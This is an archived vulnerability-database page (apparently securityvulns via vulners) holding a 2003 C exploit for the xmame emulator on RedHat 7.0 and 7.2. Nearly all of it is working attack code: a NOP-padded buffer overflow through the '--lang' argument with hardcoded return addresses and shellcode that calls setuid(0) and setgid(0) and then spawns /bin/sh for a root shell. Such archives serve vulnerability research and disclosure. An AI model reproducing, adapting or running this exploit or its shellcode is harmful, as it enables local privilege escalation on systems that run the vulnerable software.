Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:4640
HistoryJun 03, 2003 - 12:00 a.m.

xmame gain root exploit

2003-06-0300:00:00
vulners.com
11

/*

Web: http://qb0x.net Author: Gabriel A. Maggiotti
Date: March 31, 2003 E-mail: [email protected]

*/

#include <stdio.h>

#define OFFSET 1058
#define NOP 0x90
#define NOP1 'B'
#define RET_70 0xbfffee00
#define RET_72 0xbfffedf0

int
main(int argc, char *argv[])
{
int i=0; char buf[OFFSET];
int c, ret;

unsigned char shellcode1[] =
"\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

    if&#40;argc != 2&#41; {
            fprintf&#40;stderr,&quot;usage: &#37;s &lt;os_type&gt; &#92;n&quot;,argv[0]&#41;;
            fprintf&#40;stderr,&quot;types:&#92;n RedHat 7.0 - [1]&quot;&#41;;
            fprintf&#40;stderr,&quot;&#92;n RedHat 7.2 - [2]&#92;n&#92;n&quot;&#41;;
            return 1;
    }
    
    c=atoi&#40;argv[1]&#41;;

    switch&#40;c&#41; {
            case 1:
                    printf&#40;&quot;Exploiting compress for RedHat 7.0&#92;n&quot;&#41;;
                    ret = RET_70 - OFFSET;
                    break;  
            case 2:
                    printf&#40;&quot;Exploiting compress for RedHat 7.2&#92;n&quot;&#41;;
                    ret = RET_72 - OFFSET;
                    break;  
    }

    for&#40;i=0;i&lt;=OFFSET-1 ;i++&#41;
            buf[i]=NOP;
    for&#40;i=OFFSET-301;i&lt;=OFFSET-1 ;i+=4&#41;
    *&#40;int *&#41; &buf[i++] = ret;
    memcpy&#40;buf+200,shellcode1,strlen&#40;shellcode1&#41;&#41;;
    execl&#40;&quot;/usr/local/bin/xmame.x11&quot;, &quot;/usr/local/bin/xmame.x11&quot;,&quot;--lang&quot;, buf, NULL&#41;;

return 0;
}

/*

[email protected] is dedicated to interactively researching vulnerab-
ilities, report potential or undeveloped holes in any kind of computer system.
To subscribe to [email protected] t send a blank email to
[email protected]. More help available sending an email
to [email protected].
Note: the list doesn't allow html, it will be stripped from messages.

*/